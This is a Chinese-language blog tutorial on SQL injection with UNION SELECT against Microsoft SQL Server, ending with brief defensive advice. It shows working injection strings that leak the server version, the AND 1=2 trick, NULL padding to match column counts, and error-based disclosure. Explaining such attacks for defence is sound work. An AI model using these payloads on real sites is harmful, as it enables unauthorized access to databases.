SQL Injection – UNION SELECT

SQL Injection – UNION SELECT

ID-10082966

SQL Injection 利用 SQL Query 的語法輸入,執行非預期的結果,

這個例子,我們主要運用 Union Select 來進階查詢資料庫各種資訊

讓我們舉幾個例子

 

正常的輸入方式

假設網頁的頁面查詢輸入:部門名稱

因此使用者選項輸入為:工程部 Engineering

因此該 SQL statement 到後端資料庫執行為

 

select [Department].Name from [HumanResources].[Department]
where [Department].name = ‘Engineering’

執行結果為回傳: Engineering

Union Select

駭客的輸入方式

 

但是駭客輸入的方式可能透過 http request maker ,

輸入:

Engineering’  UNION SELECT @@version —

因此,讓後端資料庫執行的語句變成如下:

select [Department].Name  from [HumanResources].[Department]
where [Department].name = ‘Engineering’
UNION SELECT @@version —

 

@@version 在資料庫中為內建的函數變數,該變數會回傳資料庫的版本資訊,例如:

Microsoft SQL Server 2012 – 11.0.2218.0 (X64)
Jun 12 2012 13:05:25
Copyright (c) Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)

因此,透過 Union Select @@version 之後,資料庫執行結果

回傳兩個值

  •                 Engineering
  •                 Microsoft SQL Server 2012 – 11.0.2218.0 (X64)
    Jun 12 2012 13:05:25
    Copyright (c) Microsoft Corporation
    Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)

對於駭客來說,主要關注的其實是後面的版本資訊,所以進一步修改該 SQL statement ,讓回傳結果只有@@version,這時要透過  AND 1 = 2 這個邏輯判斷,讓前面的 SELECT [Department].Name 不成立,執行結果就只會顯示後面的 SELECT @@version

 

select [Department].Name  from [HumanResources].[Department]
where [Department].name = ‘Engineering’  AND 1 = 2
UNION SELECT @@version —

該執行結果為

Microsoft SQL Server 2012 – 11.0.2218.0 (X64)
Jun 12 2012 13:05:25
Copyright (c) Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)

 

Union SELECT 的限制與進階應用

由於 Union SELECT 必須要兩個 SELECT query 欄位數目一樣,才能夠執行

Select A1 A2 A3….. UNION select….B1  B2  B3……

因此,對於駭客來說,對於不知道欄位名稱的欄位就會用到 NULL的方式,讓該 Union Select 成功的執行,將 NULL 個數補足到與select query 的欄位數目一樣

例如:

Select A1 A2 A3….. UNION select….B1,  NULL,  NULL…..

 

如果欄位數目不相同,若有 error message 會出現如下:

Msg 205, Level 16, State 1, Line 1
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

SQL Query 修改至欄位數目相同如下:

select * from [HumanResources].[Department]
where [Department].name = ‘Executive’
UNION SELECT @@version,NULL,NULL,NULL

(這個例子中 HumanResources這個 table 共有四個欄位)

 

執行成功,SQL 回傳

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value ‘Microsoft SQL Server 2012 – 11.0.2218.0 (X64)
Jun 12 2012 13:05:25
Copyright (c) Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.1 <X64>
‘ to data type smallint.

(這個例子中即使因為資料型態轉換失敗,但是該 error message 也讓我們知道該內容為何。)

 

這麼借用基本的 Union select 介紹SQL Query 的用法在駭客有不同觀點

防護上的建議

1. Firewall/IDS — 針對常見的 SQL injection 手法與 pattern 偵測並防止

2. Database 設定 — 對於特定 database 系統函數或是變數的存取需要有權限的管制

3. Web server — 對於input字元合法性與長度的檢查與驗證

4. Store procedure — 使用 store procedure 帶入輸入的參數來執行

Leave a Reply

Your email address will not be published. Required fields are marked *